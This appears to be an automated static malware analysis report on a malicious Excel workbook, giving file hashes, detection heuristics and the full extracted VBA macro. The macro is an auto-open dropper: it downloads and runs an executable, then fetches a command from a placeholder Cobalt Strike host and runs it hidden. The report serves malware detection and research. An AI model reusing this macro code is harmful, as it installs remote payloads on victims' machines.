Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 95596c4bdfb36c70…

MALICIOUS

Office (OOXML)

15.4 KB Created: 2021-04-16 09:31:46 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-25
MD5: 010f6fd4396d965f7f030bf7546ddf03 SHA-1: d60b64db9533d43dc2c3973af2e29ab23deb52e0 SHA-256: 95596c4bdfb36c704f22fe032ca17e4fa3692849e8bf9c515ede4d3087351ee3
350 Risk Score

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set shellobj = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .write objhttpdownload.responsebody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set shellobj = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://localhost/aasssx.exe Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1848 bytes
SHA-256: 58c63122bae11e5a334c3ee4db1ece77c8df833b4ff3f29999924308f2e02f7a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Workbook_Open()

fileurl = "http://localhost/aasssx.exe"
Filename = "taskhost.exe"
Dim shellobj
Set shellobj = CreateObject("WScript.Shell")
strlink = fileurl
strsaveto = "C:\Users\Korisnik\Desktop\test.exe"
Set objhttpdownload = CreateObject("msxml2.xmlhttp")
objhttpdownload.Open "get", strlink, False
objhttpdownload.send
Set objfsodownload = CreateObject("scripting.filesystemobject")
If objfsodownload.fileexists(strsaveto) Then
    objfsodownload.deletefile (strsaveto)
End If
 If objhttpdownload.Status = 200 Then
   Dim objstreamdownload
   Set objstreamdownload = CreateObject("adodb.stream")
   With objstreamdownload
        .Type = 1
        .Open
        .write objhttpdownload.responsebody
        .savetofile strsaveto
        .Close
   End With
   Set objstreamdownload = Nothing
End If
If objfsodownload.fileexists(strsaveto) Then
   shellobj.Run objfsodownload.getfile(strsaveto).shortpath
End If

Set o = CreateObject("MSXML2.XMLHTTP")
o.Open "GET", "http://[cobalt strike IP]/a.txt", False
o.send
Dim stt As String
stt = o.responseText

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run (stt), 0
Set WshShell = Nothing




End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19456 bytes
SHA-256: 777e0a5b0e3245e5c44af20a102d46ec3116e36bc6e8757c5db1b8c50be808db
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely